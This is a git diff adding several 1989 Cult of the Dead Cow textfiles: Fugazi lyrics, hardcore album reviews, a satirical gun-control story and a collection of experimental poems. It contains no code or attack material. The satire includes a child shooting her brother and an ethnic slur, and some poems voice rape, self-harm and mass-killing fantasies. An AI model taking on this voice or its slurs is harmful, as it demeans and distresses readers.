/ | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... FUGAZI lyrics + presented by G.A. Ellsworth + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +This file consists of lyrics from FUGAZI's demo and self-titled EP (Dischord +records). The band is: + +Joe Lally - bass +Brendan Canty - drums +Guy Picciotto - vocals +Ian MacKaye - vocals and guitar + +And now, a few words from FUGAZI: + + +--SONG NUMBER ONE + +Song number one is not a fuck you song +I'll save that one for later on +You wanna know if there's something wrong? + +It's nothing + +Everybody's talking about their hometown scenes +And hurting people's feelings in their magazines +You want to know what it all means? + +It's nothing + +Fighting for a haircut? Then grow your hair +Crying for the music? I doubt you really care +Looking for an answer? You can find it anywhere + +It's nothing + +Life is what you want it to be +So don't get tangled up trying to be free +And don't worry what the other people say + +It's nothing + + +--FURNITURE + +This is a song with no words +Nobody can here the missing +They just look at mouth and say, +"Hey man, I know where he's coming from" + +Furniture has no say in life +It was made to be used by people +How many times have you felt like a bookshelf +Full of thought already written + +This is a song with no words +I'm sure you've heard it before +You can see my mouth and you know that it's moving +You already know where I'm coming from + +Right here + + +--TURN OFF YOUR GUNS + +Turn off your guns +Don't cut your skin no more +Everybody's always saying, +If you hate life so much, what are you living for? +While we're still paying + +You never hurt yourself +You hurt everybody else +And you talk about dying +But when your wish comes true, and there's no more you +We're still trying, we'll be trying + +This is not the end of you + +Noting in life could be that bad + + +--BREAK-IN + +And he's happy because she's got skin +And she's happy just to let him in +When he asks will you let me in? +And from a place where they share skin they say + +Come inside + +And he's happy because she's got skin +And it's sweet when she lets him in, no sin +But there's a when where skin wears thin +And she finds she's working on another skin deep inside + +Deep inside +Break-in + +And then he wonders will my money, will it cover for me? +Can I stay outside and let it cover for me? +But she can't get outside, she's the covering +And she can't get outside, she's the covering + + +--AND THE SAME + +At the risk of being too politically correct +This comes to you spiritually direct +An attempt to thoughtfully change +Your way of thinking + +That is if you believe in race +And that you were born in the right time and place +This is a thought, about face +Your way of thinking + +And the same could be said +For all the people who are lying dead +To die was only distraction +What they found out a bit too late +Got twisted up in all that hate +And now it plays the part of reaction + +If you have to carry a gun +To keep your seat at number one +This is a bullet you can't outrun +Your way of thinking + +Just wait and see, it's coming round +Conscripted from the lost and found +And still we find so tightly wound +Your way of thinking + + +--WORD + +You got a problem? +What can you do? +What was that word again? + +Life has got me down +Everything is wrong +Mom & Dad...(and so forth, whatever) +What was that word again? + +The word is... + +You see ugliness? +You see ugliness? +You see reflection. +Your reflection + +What was that word again? +What was that word again? + +The word is... + +Change + + +--WAITING ROOM + +I am a patient boy +I wait, I wait, I wait +My time is like water down a drain +Everybody's moving, everything is moving +Please don't leave me to remain + +In the waiting room + +I don't want the news +I'm not a part of it +I don't want the news +I have no use for it +Sitting outside of town +Everybody's always down +Because... +They can't get up + +But I don't sit by idly +I'm planning a big surprise +I'm gonna fight for what I want to be +I won't make the same mistakes +Because I know how much time that wastes +Function is the key + +In the waiting room + + +--BAD MOUTH + +You can't be what you were +You have to be what you are +You can't be what you were +Time is now and it's running out +You can't be what you were +So you'd better start living the life +You've been singing about +You can't be what you were + +No movement, no movement, no movement +In a bad mouth +It betrays a bad mind + + +--IN DEFENSE OF HUMANS + +In defense of humans +Lay down your power trip +Stop toying with emotions +And relationships + +You don't rise when people fall + +In defense of humans +Lay down your politics +They're all big money +And media tricks + +You don't rise when people fall + +I see you ride this world +I see you rob this world +I see you rape this world +On off on off on off + +And I don't like what I see + +Greed + +In defense of humans +Lay down your human pride +We're born into our bodies +No chance to decide + +You don't rise when people fall + +In defense of humans +Lay down your sticks and stones +Weapons and violence +Are better off left alone + +You don't rise when people fall + +--MERCHANDISE + +When we have nothing left to give +There will be no reason for us to live +But when we have nothing left to lose +You'll have nothing left to use + +We owe you nothing so +You have no control + +Merchandise keeps us in line +Common sense says it's by design +What could the business men ever want more +Than to have us sucking in their stores? + +We owe you nothing +You have no control + +You are not what you own + + +--BULLDOG FRONT + +Ahistorical--you think this shit just dropped +Right out of the sky +My analysis: it's time to harvest the +Crust from your eyes +To surge and refine, to rage and define +Ourselves +Against your line so sorry friend but +You must resign + +You want to figure it out +We'll throw down, we'll throw down +You want to figure it out +Well throw down your bulldog front + +Bold bold mouth talking not so bold +Now that you've eaten your own +Lips flecked, mouth specked you strip the +Skin right off of the bone + +And I would never say you act without +Precision or care, but it's all attention +To armor, to the armor you wear so well +Let's knock and check to see +If there's somebody home + + +--BURNING + +There's something acting on this body +Something goes in when nothing comes out +And someone's acting on this information +But nothing's registered from this location +From this site that I am, in asking +What is this buring in my eyes? + +I wanted a language of my own +My lips sucked empty and I mouthed the lines +Of this crowd that surrounds me +Punctured and parceled I fold my hand +To this site that I snse that I am in asking +What is this burning in my eyes? + + +--GIVE ME THE CURE + +I never thought too hard on dying before +I never sucked on the dying +I never licked the side of dying before +And now I'm feeling the dying + +You've got your hands over your ears +You've got your mouth running on +You've got your eyes looking for something +that will never be found--like a reason +And I don't need a reason + +I never thought too hard on dying before +I never thought on the dying +I never held the hand of dying before +And now I'm feeling the dying + +But you got to +Give me the shot +Give me the pill +Give me the cure +Now what you've done to my world + + +--SUGGESTION + +Why can't I walk down a street free of suggestion? +Is my body my only trait in the eyes of men? + +I've got some skin +You want to look in + +There lays no reward in what you discover +You spent yourself watching me suffer +Suffer your words, suffer your eyes, suffer your hands +Suffere your interpretation of what it is to be a man + +I've got some skin +You want to look in + +She does nothing to deserve it +He only wants to observe it +We sit back like they taught us +We keep quiet like they taught us + +He just wants to prove it +She does nothing to remove it +We don't want anyone to mind us +So we play the roles that they assigned us + +She does nothing to conceal it +He touches her 'cause he wants to feel it +We blame her for being there +But we are all guilty + + +--GLUE MAN + +I spent it all +On the bag +On the drag + +The sun comes up, the tide rolls out +The trucks roll by the park still a park +Where children play and pick up stones +Anything to make them feel less alone--he's alone + +His mind is his own town where his thoughts run aground +They fall all over and down + +I spent it all +On the bag +On the drag + +The sun comes down, the tide rolls back +We crawl our way back to the house we call home +he holds his home in the palm of his hand +And he says, and he says + +You are my everyone, you are my anyone +You are my anytime, you are my everytime +You are my everywhere...anywhere... + +(Word donation & direction Jem Cohen) + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |1989 cDc communications by G.A. Ellsworth. 04/29/89-#102 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0103.txt b/textfiles.com/groups/CDC/cDc-0103.txt new file mode 100644 index 00000000..4564eeb9 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0103.txt @@ -0,0 +1,104 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... cDc core #2 1/2 + by The Pusher + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Introduction: About a month and a half ago, MTV did a short segment on New York +City Hardcore during their Headbanger's Ball show. It wasn't that bad, as the +people who wrote it for Adam Curry must have known something. Anyway, they +talked about 4 albums during that segment, all of which I'm going to review. +Oh, and by the way, M.D.C. is from Texas, but they're now based in San +Francisco. + + +AGNOSTIC FRONT: Live at CBGB's (In Effect) + + While looking through MAXIMUMROCKNROLL, you'll often see a review say: +"So-and-so has the 'NY heavy' sound." Well, this band, Agnostic Front, are the +guys who established that sound. Recorded in August of 1988, this show goes +through every good AF song, from the 3 LP's (Victim In Pain, Cause For Alarm, +and Liberty and Justice For...) and the extremely rare United Blood EP. +Vocalist Roger Miret takes some time out from gurgling to let his little +brother, Freddie (who's in band called Madball) sing "Blind Justice". So, if +you're looking for the best 'in your face' hardcore possible, than this is for +you. + + +LEEWAY: Born To Expire (Profile) + + Ya know, I don't hate this stuff like Bon Jovi or Def Leppard, but Leeway +is boring. This generic metalcore gets no emotional response from me. If I +want to relax and mellow out, I'll just put on some Pink Floyd. The singer is +definitely mismatched with this type of music, he'd be better in a straight +hardcore band. Good songs..."On The Outside" is the best and "Catholic H.S. +Girls" (see the John Landis movie, Kentucky Fried Chicken) is rap-rock, with a +funky bass-line. They're on Profile so someone must like this. + + +MURPHY'S LAW: Back With A Bong (Profile) + + I was eagerly waiting for this, and while I'm not disappointed, I was +hoping for a little more. Right away, you'll see they've got horns on a few +songs (provided by Fishbone). All the songs are pretty good, with the expected +silliness. "Attack of the Killer Bears", "Cavity Creeps", "Bong", "Secret +Agent S.K.I.N.". The songs aren't obnoxious or stupid, just lots of fun. The +main difference between this album and their last self-titled debut LP is that +this album has no real hardcore in it like last the last one did, and it's sort +of metal influenced. Not COC or Motorhead, but more AC/DC type stuff. All in +all, it's a good album. I'll keep listening to it, and buy every album they +make in the future. + + +PRONG: Force Fed (In Effect) + + First, this is a domestic release of an old album. Second, this 3-piece +is a cut above the usual crossover crowd. They sort of remind me of Coroner, +and Prong has got major-cool distortion, varying tempos, and chainsaw riffs. +In other words, something new for this type of music! And as the three +instrumentals show you, they can play. + + +SPECIAL BONUS!@!@12@!2@!! + +Five past albums I don't recommend: + +The Clash - Cut The Crap. They should have given it up in 1980 at the latest. +Descendents - ALL. If they were going to make stuff like this, ditching Milo + was a good idea. +Dr. Know - Beyond The Flesh. They play a Black Sabbath song Black Sabbath + style. +Gang Green - You Got It. They suck now, but were they ever good? +T.S.O.L. - Hit and Run. You're now opening for Guns and Roses. Whoopee! + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by The Pusher. 05/09/89-#103 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0104.txt b/textfiles.com/groups/CDC/cDc-0104.txt new file mode 100644 index 00000000..733b5b04 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0104.txt @@ -0,0 +1,94 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Gun Control + by The Pusher + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + + It was a Thursday morning. It had snowed heavily the night before, so +school had been cancelled. Bobby Fisher and his sister Mary Lou were at home. +They were watching The Flintstone Kids. The Flintstone Kids ended. Bobby got +up and changed the channel. Mary did not like this. + + "Hey Bobby, I want to watch Gummi Bears." + + "Mom put ME in charge, so we watch what I want. And we're watching +Superman!" + + "Please...." + + "Stop bothering meeeee! Go play with your little dolly!" + + "I'll get you back, Bobby Fisher!" + + Mary Lou ran to her room. Crying. Suddenly, a thought came to mind. The +night before, she had stayed up late with Daddy watching TV. And there was an +argument. But not over Gummi Bears. The two men were arguing over Coke. She +couldn't understand why their Cokes were a pile of white stuff. But she then +remembered what one man did.... + + Mary Lou stepped into her parents' room. She saw a magazine on the bed. +It had pictures. Pictures she couldn't understand. There were women with no +clothes on, with their mouths around a man's private parts. How icky! But +"Beach Blanket Blowjobs" was not what she wanted. In the closet, Mary Lou +found what she wanted. A fully automatic 9mm Uzi submachine gun. She had +watched enough episodes of GI Joe with Bobby, to know that it was loaded. +Daddy had always said that, "A loaded gun is needed to protect the house from +foreign invaders." Like Space Invaders? She stomped into the TV room. + + Bobby saw the reflection of Mary Lou with the Uzi on the TV screen. + + "What are you doing, Mary Lou?" + + "I want Gummi Bears not Stupidman!" + + Mary Lou pulled the trigger. + + The recoil threw her back against the wall, and she shot most of the 25 +rounds into the ceiling. But the first few bullets had slammed into poor Bobby +Fisher, turning him into Spaghetti-O's. + + "Uh-oh." + + + + + "Hi, my name is Jack Magee, father, rancher, and sportsman. What you just +saw happened last year in my household. This unfortunate accident could have +been prevented. Not by banning guns, you liberal puke! That's ridiculous! +But if Mary Lou had taken a 3-hour NRA course in gun safety, this would have +never happened. I'm taking little Bobby down tomorrow, so that if the Commie +bastards shoot his old man, Bobby can protect his mom. Remember kids, you can +kill gooks with guns, not girls." + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by The Pusher. 05/09/89-#104 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0105.txt b/textfiles.com/groups/CDC/cDc-0105.txt new file mode 100644 index 00000000..009e0024 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0105.txt @@ -0,0 +1,794 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... POetRIE + by Obscure Images + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This is a small compilation of some of the poems that I have written in +the last few months. There are more then these, but these ones were +conveniently already typed. Most of these poems are experiments that I have +done to help me relate to the real world. Rememeber; art is lies, form is +evil, and most importantly of all, rhyming sucks. Poetry is not haiku. Poetry +is not dramatic monologue. Poetry isn't Dada. Poetry is not anything. Poetry +is YOU as an individual. The words on the page are not poetry until you +experience it for yourself. Poetry is everywhere. Poets who squabble over +form, style, rhyming, and other mechanics are pretentious fools who like to +hear themselves talk. I do not apologize for anything in my poems, punctuation +is simply there as decoration as I don't care really where it is. + + -Oi + + "Beauty must be convulsive or it will not be at all" + -Andre Breton _Nadja_ + + +------------------- + +Hope fading fast +Destruction iminent +The global annihilation +We all want +In our private hearts +Is drawing near. +The time is up +We've got thirty minutes left +Say your prayers +To your respective gods +As for me +I embrace the sweetness of oblivion + +----------------------------- + +flowers. +float softly to the pondlike +grave, +An uncovered pit filled with water. +flowers +rest on the surface +a gloomy sentiment of rememberance +wasted on a fool +fool fool fool fool +flowers + +--------------------------- + +Avarice in birds soars, +But men can not fly. +He wallows in greed, +like a pig eating feed. +Why must there be lust +for a green piece of paper? +They think sex is vulgar +yet thrive on seeing people bleed +what kind of culture is based on death +while shunning life. +SINKING IN THE MIRE OF OUR OWN STUPIDITY +The time is at hand +to start again +To destroy the past before it destroys the future +to stop the cycle of decay +Do not stand in the way, my friends +Or you will be destroyed like all the rest. + +--------------------------- + +hell +isnt really that hot +its cracked up to be what its not +sure its a real pit +but the only flames are those in the hearths at night +hell can be quite cold +if you are up north +that isnt to say it doesnt get warm +it does +you dont have to search really hard for hell +it's right outside your front door + +-------------------------- + +tra la la my dog ate your roses +I'm not going to subject subject you to more of my dada ram-m-mblings at the +moment. I would just like to say chucka chucka chucka dwango dwango dwango +chucka chucka boin boin boin. Meet my friends, meet my family, they all have a +hand in my destiny. Damn the roses and pull the stop. A rose is what I got, +from my darling dead. A red blood rose coming from her head. It wasn't my fault +that she stabbed herself. I didn't believe she'd really do it. I still thank +her for that final flower flowing from her frame. Tra La La La La La ahhhhh. +Boom Bang whubba whubba ching. It's halfway past the mating time for small +animals named Bill. Bill Boring swine sheep sleep slam in the nocturne of my +eroding sulleness. I need a lobotomy, I keep having these dreams, I wish I were +fred. Fred is good. What if everyone in the world was named Bob? Everyone but +me. I would be Paul, and I would be the last nonconformist in the pond. At +least you wouldnt forget a name...ever. Ubu baby come swallow my friend hare. +He needs a cleaning. Cleanser. Scratch Scratch. Rug rub swine. Hey Hey Cicce R +U well? I B FIne If U will E E E Reads a ski. :L EEEKKE raped rodents followers +rodents flowers bitebitebite tickle tickle wubba what. OI OI OI! the head is on +the line, when will you find time when will you find time for love? + +------------------------------ + +Sig Sig Sig My Flashing Forehead + +Feel Ye Sorry for the sparrow on the floor lest it rise up and maim your cat +whollop me , banker, or I will have your wallet on my mantle +bleed for me, bleed it green + +"Hey guy, I raped your sister before your eyes and then cut your throat, doo wa +doo wa doo wa, shimmmy shimmmy hey!" + +Dali is dead. I am not happy at all. My Dog! WHY HAVE YOU FORESAKEN ME! +Demons from my nostrils climb the face and enter the tainted eyeballs +dont touch my skin. It isnt really there +bend over and pick up that soap +I'll grind you that peanut butter in my veg-o-matic +Tear me apart with a pick axe +I'm not really in the mind +it JUstLooKs Likeit +##_apartforthepresentsyouwouldbeworthlesstotheclaws)) +You will pay in pain +pre-menstrual syndrome +the pain is all mine +i hurt with the battlemarks of my distant past +the clawing out of my young eye +glass bitten forehead screams for mercy +there is no hope +there is no hope +there is no hope for the future +there is no hope for the past +there is no past +there is no future +there is only pain +there is only pain +there is only the dishwater of my imagination +I am the one in control +Please dont bite the hand that hits you +rip it off rip me off +(YeathoughIwalkthroughthevalleyoftheshadowofdeathiwillnotfearforthereisnohope.) +I am held by something else +something inhuman +lest meat become maggotswarmed +fill me with bitterness +fill me with butter mess +I'm involved in a greater reward +by my green candle rip my hair off of my brow +tell me there is no past +tell me there is no future +tell me what you will, I will refuse +I will Refuse and defacate on my rat +rat rat rat rat rat rat r=at r-a*t +I'm involved in a greater reward +1000 dollars for the man who kills me +Demonspawn +rock my body +stone my soul +HIT ME HIT ME HIT ME HIT ME +I HATE I HATE I HATE I AM FURY! +ESTA ES UNA PARA LAS MUCHACHAS! +Sucking the silt from the bottom of your river honey +tellmewhy +asshole +my mind is clouded with the sins of my ants +farming her cropland +Irritate Irritate +MY MIND IS THE STONE oF THE PEOPLE +WHET WHET WHET WHET +Slam bam thank you ma'am +QuicksandASelpING ASPERTAME +Yvette is my god +BOB BOB BOB BOB RIP MY THROAT OUT +SWINE! +Art is dead +God is art. +You can never go home again +you can NEVER go ((home))[{AGAIN}] +Rip the foetus from the WOMB +Barumba Barumba MECCA MECCA BOOM +Don't tell me that my name is paul +it is not Bruce. +Sycamore + + + + + + + + + + + + + + + + + + The End + + Of Reality Is Near + + Broken Heads Crumble At My Feet + + Good Evening + + +-------------------------- + +Traumatized +Desperate Gleam +Ripping open your skull +Tunneling in your brain. +Meandering Circumstance +Killer Decoy +The worms all dance +On their feast of man +The worms are crawling through +The plate glass venue of your brain +Your soul belongs to them +Where is your beloved now? +Why doesnt he save you? + +Scream Twist +Taunt Wrist +Scream Taunt +Twist Wrist + +Why? + +-------------------- + +I was thinking "What can I do to illustrate the moment of illumination when +your adolescent consciousness turns into an adult one, and how can I fit power +tools into the picture" + +-------------------- + +Fortunately screams DROWN you in pools of noise. +Gasping for silence only to gag on more. +There is no escape. +You are MINE. +Thrashing and Frothing, +In my deep brown eyes. +You are mine. +You are not in control, +living as a swan. +You are a puppet, +yet I am a pawn. +Slaving and slavering for your interest +Burning my flesh for one healing glance +from your powerful eyes +Melting and reforming +Internal blessing +you are mine +no. +I am YOURS + +----------------- + + _ /| There is no power in this world ___|___ + \'o.O' greater then lies and manipulation. __|__ + =(___)= ___|___ + U | + +------------------ + +My love is like a rusty nail. +The bright crimson sweetness flows down its length +when it cleanly punctures the deperate heart. +Punctured and pure in the beginning +Time causes it to fester +leaving a rotting malignancy rotting through my heart. + +----------------- + +I am drawing a picture, +hunched over my drawing table- + +My head implodes. +I am in the land of the gecko lizards. +They swarm around me and call me god. + +I draw a picture of a dog. + +---------------------------------- + +Your suicide was +The fashion statement of the year. +Everyone clamored to be like you. +Conformists to the end. +Ten million died before the trend changed +again. + +----------------------------------- + +The charcoal grey ruins of the small +town in southern california, +down a bit further then L.A., +were full of broken memories. +Twisted and mangled corpses +lay on the ground, where the blast +sent them in their final moments. +I dare you to find any life here, +all you will see is decay. +A government test of a new terrorist weapon. +A nuke the size of a ball-point pen. +Small enough to fit in a pocket, +big enough to gut this town. +The town that was blown up to entertain the men +in the occult pentagon of Washington. + +------------------------------------- + +The secret behind closed doors. +Five floors of death, doom, and party supplies. +This store has everything +a young arayan could want. +Guns, bombs, blow up black men, and torture toys +only a Nazi could love. + +-------------------------------------- + +I will traverse the lines that border insanity +If only to save your soul. +Insanity is reality +seen through a child's eye. + +-------------------------------------- + +Metamorphosis +------------- + +The open wound spits out a burst +of irridescent synasthetics, +with the mirthful destruction +that proceeds the creation +of something new. + +Laughing a perverse little tune, +the cobalt-blue landscape +is plowed over by glowing, blood-red +plasma. + +The molten life cools, +turning brownish-red +like the color of blood +found on the scene of a day old accident. + +The crusting flow crumbles from within. +A shape is formed, +the supple curvatures cause the crimson light to flow from them +like molten wax. +The pink form stretches like a rubber band, +and all is good. + +--------------------------------- + +A corpselike pallor came over my face +When I saw you laying there, +The gash in your abdomen spewing blood, +I was ripped to shreds, +As if I had fallen into a combine. +At that instant I felt your pain. +My life ended on the day that you died. + +---------------------------------- + +I've been inflicted with the disease. +It is not the one that shrivels your skin. +It is not the one that rots your bones. +It is not the one that makes your left hand fall off. +It is not the one that is spread by sexual contact. +I've been inflicted with the disease, +the one that comes from the flag. +God Bless America. +Yeah, right. + +----------------------------- + +Stop tearing me apart as if I were a plaything +for a 2 year old. +Stop fucking with my mind, like you do to all the others +Stop taking advantage of me you filthy worm. +Crawl back into your hole and drown. +I'm not fishing you out this time. + +----------------------------- + +There is no reason for the wholesale belief +in the existance of a being of higher order. +What good has there been that hasn't been done by ourselves? +What evil has there been that we haven't done by ourselves? +Thank you very much, Herr Jehovah, we're doing fine all by ourselves. + +----------------------------- + +Take Take Take Take +We all need to take from someone. +The world is not give and take. +There is only take. +We all need to take from someone. +There is only take. +Take from my pocket and call it a gift. +I'll take from your purse, and do the same. +We beg, we steal, we heist, we borrow. +Every single one of us. +Anyone who tells you any different is a liar. +A true thief is one that won't admit his thievery. +These are the truths of the world, +so live with them +and take what you want, it's yours for the taking. + +-------------------------------- + +Razorblade kisses +so sweet and so sour. +how true indeed is that which cuts and bleeds. +An honest wound , the gash that hurts +but feels good. + +--------------------------------- + +I pledge allegiance to the flag +of the united states +of +america +and true to the +republic +for which it stands +one +nation +under +god +indivisible +with liberty and justice for those who can pay for it. + +---------------------------------- + +I refuse to die for something I don't believe in +I don't believe in my government. +I don't believe in your government. +I don't believe in the corporations that really rule. +I will die for the things that matter. +I will die for my freedom to speak as I wish. +I will die for my girlfriend. +I will kill for my belongings +I will kill for my beliefs. +I will kill and I will die, +can't you see it in my eyes? + +---------------------------------- + +Life is but a glimmer in the pool of twilight sewage. +A stick in a vat of shit. +Once in a while the stick comes to the surface, +but it mostly is towed under by the turbulent currents +that race through our lives. +I'm drowning in a pool of rotting offal +that was dumped from the people up there. +If I can drag myself out I will kill them all. + +----------------------------------- + +I will hold you down. +I will tear you up. +I will spit you out. +I will take you in. +I will love you. +I will +I will +I will +I will help you live. + +----------------------------------- + +I was sitting under a table in an abandoned room, +not a light in the house. +Curled in the corner like an abused child. +Too many people, +too much hostility, +I have failed. +I lost face in a crowd of people. +I must get away before I tear myself apart. +Don't. +Touch. +Me. +I. +Am. +Unclean. + +----------------------------------- + +My nature isn't the green and yellow of the trees. +My nature is the bloody red that flows around in us all. +A young sapling chopped down before his time, +Roots still forming, +ready to engorge upon the earth. +Blood runs down the hill from the sapling boy, +forming a pool at the bottom. +The ducks wade through, coloring their webbed feet crimson. +A squirrel runs around the growing pool on its quest for a nut. +A dog laps at the puddle for a moment, taking his fill. +There is only the sounds of the birds +performing their cheery little dirge. + +------------------------------------- + +Haiku: + +Churning, Burning it. +Water buffalo sitting. +Rice paddies go grey. + +Tell Thee Thine Weasel, +Wherefore art thou running to? +Away from thee man. + +Wilting, Baking the +obnoxious fumes that come from +the steaming volcano. + +Escape thee rowdy +Ramrod; Flee, into the still +nighttime forest, flee. + +Ripe ( Into The Lake ) +Spells of demonic charm wait +to prey upon you. + +Waddle to the shore +my friend, don't allow them to +plant you like a tree. +------------------------------------ + + The Morning + Air Sings w + ith the che + ery songs o + f the birds + . A breeze + sways the m + an-made tre + e. The stre + ets are sta + rting to fi + ll up. Hous + es are rele + asing their + nighttime c + aptives. Th + + e central square gathe + rs up the aimlessly wa + + ndering people. The wh + ispering of the formin + + ging crowd grows large + r. A certain yearning + + is building up amongst + the common rabble. A d + + oor opens , + causing a r + ipple in th + e crowd.As if by magic, + the crowd parts like the red sea. + That is what they really w + ant to see. The red sea. + Figures app ear in the d + oorway. A m an in black + with a bibl e leads a pr + ocession. T he second ma + n is Sherri f Brown. Beh + ind the ste rn police of + ficer is th main attract + ion. The ou tlaw Jimmy J + ames. He ha s been found + guilty of r obbing the r + ich bankers of town. The + crowds surg es around fo + a gimpse of Jimmy's face + . They just cannot see t + hat he wont conform to t + he visage o f terror the + y all deman d to see. Th + e group get s to the gal + lows. Jimmy climbs up th + e the stair s. Sherrif B + rown motion s him to the + knotted rop e hanging abo + ve a trap door. The crowd chants. The s + herrif takes hold of the lever an + pulls. Jimmy gasps once a + nd is left swinging + in the wind + +---------------------------------------- + +Revolution sways the flow of the psychic energy flowing from +the inner beings that reside inside your head. +Have lunch, lets do lunch, baby. +Tell me where you keep your money. +I'm dying to get away from it all. +I can't stop the twitching in my toes, they are +green green brown green +with some kind of rotting disorder. +Anarchist clubs, a contradiction in terms, +group together, yet another contradiction, and smash small animals with large +wet dogs. +Trained seals die in an auto accident, +they most certainly were drinking that ol Brazillian rotgut +since they were preserved without the help of Mr Undertaker +.......!!!STOP THIS SHIT!!!........ +No , No I will not, you cannot stop these fingers that are typing through the +mystical man from beyond my forebrain. +Neural cortex, tasting like grey cheese spread on a bread of bloody skin. +Watch out for the bones y'all. +Head stompin' to that old time religion +Whitemeat skin +Chicken of the worshippers of the man down below. +Ho Ho Ho, Old Nick +Transfer the blame +maybe the shame of the wholloping will tickle +your memory. +Maybe not. + +Kill or crunch, dive or bite the bullet. +Take me from this evil land +I need escape I need release +Release me! + +---------------------------------------------- + +Just For The Fun Of It +---------------------- + +The blue sky yawns, +as the twilight creatures sink back into their homes. +A peep of light, coming up from the horizon +producing a red-orange mist to form at its edges. +The yellow globe rises further into the sky , +Burning up the mist easily. + +"Roger , High command. We've got a Defcon 2" +The crevice in the far away mountain yawns and +then closes it's maw, +leaving the world behind. + +"Situation developing at an accelerated rate, Sir." +"Move it down to DefCon 1." +The planes are launched , the silos are awakened, +all is in readiness. + +Children climbing from their wooly cocoons, +their parents drinking their coffee, +televisions turn on, +to spout some useless garbage. + +"We interrupt this program for a special report. +The Department of Defense has just alerted us that +the Soviet crisis has accelerated to DefCon 1" +Defcon 1 +Defcon 1 +Panic. +Get the children to the basement. +Stampede. +Get out of town. + +"Sir, satelites see a launch." +"Get me the president." +"Yes Mr. President, we'll launch" +Sending word to the silos. +Defcon 0. +Nuclear war. + +30 minutes left. +Highway is jammed. +Evacuation is useless. +Move out onto the lawn. +Watch it all end. + +Star wars failed. +They're all coming in. +"At least we're locked up tight" +Planetary fireworks show. +Sure looked pretty on the satelite. + +Time passes, and the dust settles. +One thousand years of recovery. +The world is new again. +A fuzzy little animal scurries behind a rock. + +--------------------------------------- + +dollarsigns + signs +dolldolldoll + arsignsar + I + TheNew + AMERICAN + FLAG There is only Black + AND WHITE no + GREY AREA. you + are all RIGHT + OR ALL WRONG. + THE LAW WORKS + FOR THOSE WHO + CAN pay FOR + IT. The concept + of the old flag is + abolished. there is no + justice. there is no + liberty, unless your + CREDIT iS Good... + + +----------------------------------------------------- + +The Running Days. +Innocence dies in the street. +A former friend lies on the road, +Blood streaming from his eyesockets. +Cleansing the pavement, +Washing away the sins. +With another sin. +Just turned nine years old, +He told the police what he saw. +Gangboys gouged his eyes out +And left him to die in the street. +The RUNNING DAYS ARE GONE. + +--------------------------------------------------------- + +The twitching stops sometimes. +It always starts again. +I try to stop it, but it just keeps doing it. +I gnawed on my arm for a while, +Just to feel the blood flowing from me. +I have no mind for repeating myself. +Repeating myself. Repeating myself. +My doggie likes the taste of blood, +I must taste like a steak. + +---------------------------------------------------------- + +The Beginning is the end, +The End is near. +Come over the river my friend, +Let's kill people until the end is here. + + +Obscure Images 1989 + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM........517/337-7319 The Switchboard.......718/358-9209 + (' ') |Tequila Willy's GSC..209/526-3194 time centre...........312/377-0359 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Obscure Images. 